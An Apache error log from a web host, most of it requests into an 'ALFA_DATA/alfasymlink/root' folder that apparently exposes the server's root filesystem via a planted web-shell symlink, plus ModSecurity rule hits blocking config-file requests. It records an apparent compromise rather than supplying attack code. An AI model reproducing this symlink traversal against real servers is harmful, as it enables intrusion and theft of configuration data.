[Mon Oct 26 08:20:18.743392 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 16.216.88.173:12288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/exim_suspended_list
[Mon Oct 26 08:20:21.021695 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 185.191.171.17:43902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/slabs_cpu_partial
[Mon Oct 26 08:20:22.182165 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 18.214.186.220:18721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:27.837456 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/chyrp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:27.998855 2026] [core:crit] [pid 3023393:tid 3023393] (13)Permission denied: [client 216.244.66.250:38702] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/' is executable
[Mon Oct 26 08:20:28.238110 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/atlantis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.301714 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/openeshop/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.327875 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/koken/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.366298 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp68/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.633191 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.807817 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/leafpub/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:28.898901 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/procwire/
[Mon Oct 26 08:20:28.935446 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp51/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.290021 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp56/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.530926 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/sugar/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.571780 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp62/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.846297 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp70/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.931376 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp58/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:29.996578 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp60/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.049221 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp64/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.212035 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 34.195.248.30:33123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:30.249059 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal89/
[Mon Oct 26 08:20:30.307573 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp61/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.418255 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal9/
[Mon Oct 26 08:20:30.464537 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/alegro/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.496596 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/pydio/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.534751 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp53/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.750957 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/spip/
[Mon Oct 26 08:20:30.787788 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp52/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:30.811977 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp63/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.004219 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/avactis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.090811 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/livesite/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.117996 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp50/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.225688 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento2/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 08:20:31.270992 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/buggenie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.487683 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/igalerie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.580718 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/carbon/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.709527 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/toaster/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.764515 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/yourls/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.790603 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/cube/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.866401 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bludit/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:31.959660 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp59/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:32.104877 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp55/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:32.301310 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp49/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:32.704123 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp66/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:32.802974 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp54/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:32.911167 2026] [access_compat:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/webasyst/
[Mon Oct 26 08:20:33.006437 2026] [access_compat:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/rainloop/
[Mon Oct 26 08:20:33.194780 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/monstra/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.335039 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/anchor/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.409945 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp65/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.419012 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/nukeviet/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.562206 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp67/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.577847 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp57/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.587246 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp69/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:33.611771 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/piwik/
[Mon Oct 26 08:20:33.854603 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupalcms/
[Mon Oct 26 08:20:33.871594 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal8/
[Mon Oct 26 08:20:34.079921 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento241/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 08:20:34.176644 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 44.194.139.149:54475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:34.456675 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bbpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:35.019792 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal10/
[Mon Oct 26 08:20:35.219841 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/phpwcms/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:35.359178 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/zen/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:35.476601 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/selfoss/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:35.529929 2026] [core:alert] [pid 3023393:tid 3023393] [client 216.244.66.250:38702] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/classicpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 08:20:45.227764 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 85.208.96.204:31128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:46.349987 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.197.102.71:39050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:20:54.238098 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 52.45.92.83:4005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:06.199728 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 52.4.229.9:51880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/resource0_wc
[Mon Oct 26 08:21:10.163786 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 44.221.105.234:21122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:14.385636 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 23.21.250.48:53181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:18.154322 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 52.6.232.201:47273] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:25.304565 2026] [security2:error] [pid 3019667:tid 3019667] [client 43.166.246.180:53894] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at9FxZ_dbg3ptBnwDgQ42QAAAAM"], referer: http://sherwinpinturas.com
[Mon Oct 26 08:21:25.349570 2026] [authz_core:error] [pid 3019667:tid 3019667] [client 43.166.246.180:53894] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 08:21:30.161988 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 100.24.167.60:15881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:32.866165 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 185.191.171.19:49382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/trace
[Mon Oct 26 08:21:38.168953 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 44.223.116.149:12263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:03/physical_node/remove
[Mon Oct 26 08:21:46.365544 2026] [core:error] [pid 3030179:tid 3030179] (13)Permission denied: [client 54.204.12.115:44058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0C0F:00/subsystem/uevent
[Mon Oct 26 08:21:50.200015 2026] [ssl:error] [pid 3030179:tid 3030179] (70014)End of file found: [client 98.82.39.241:53322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:21:58.160843 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 35.169.102.85:23369] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:06.301453 2026] [core:error] [pid 3026995:tid 3026995] (13)Permission denied: [client 98.83.94.113:14659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input1/event1/subsystem/input3/device/driver/serio1/driver/uevent
[Mon Oct 26 08:22:10.183119 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 98.83.226.125:7935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:18.174214 2026] [core:error] [pid 3030186:tid 3030186] (13)Permission denied: [client 54.89.90.224:47386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/drivers_probe
[Mon Oct 26 08:22:22.200432 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 3.224.104.67:29679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:28.212558 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 185.191.171.2:33072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/trace
[Mon Oct 26 08:22:30.182889 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 100.28.57.133:29513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:31.004133 2026] [cgi:error] [pid 3026995:tid 3026995] [client 45.156.129.127:26502] AH02811: stderr from /var/www/html/ssi.cgi: script not found or unable to stat
[Mon Oct 26 08:22:34.218317 2026] [ssl:error] [pid 3030179:tid 3030179] (70014)End of file found: [client 52.21.62.139:15153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:42.554144 2026] [security2:error] [pid 3026993:tid 3026993] [client 16.216.88.252:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at9GEnJ9l6phwCFrVaFf-QAAAAA"]
[Mon Oct 26 08:22:42.554665 2026] [security2:error] [pid 3026993:tid 3026993] [client 16.216.88.252:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at9GEnJ9l6phwCFrVaFf-QAAAAA"]
[Mon Oct 26 08:22:42.555027 2026] [security2:error] [pid 3026993:tid 3026993] [client 16.216.88.252:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at9GEnJ9l6phwCFrVaFf-QAAAAA"]
[Mon Oct 26 08:22:43.171454 2026] [security2:error] [pid 3023736:tid 3023736] [client 216.244.66.250:53680] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at9GE3tuNRyqJbUWH7JvlAAAAAQ"]
[Mon Oct 26 08:22:43.171910 2026] [security2:error] [pid 3023736:tid 3023736] [client 216.244.66.250:53680] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at9GE3tuNRyqJbUWH7JvlAAAAAQ"]
[Mon Oct 26 08:22:43.172259 2026] [security2:error] [pid 3023736:tid 3023736] [client 216.244.66.250:53680] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at9GE3tuNRyqJbUWH7JvlAAAAAQ"]
[Mon Oct 26 08:22:54.329596 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 18.205.91.101:26767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:22:58.172983 2026] [ssl:error] [pid 3030186:tid 3030186] (70014)End of file found: [client 100.29.63.24:23877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:10.182238 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.232.39.98:20183] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:12.364478 2026] [core:error] [pid 3030186:tid 3030186] (13)Permission denied: [client 185.191.171.15:25536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/objects
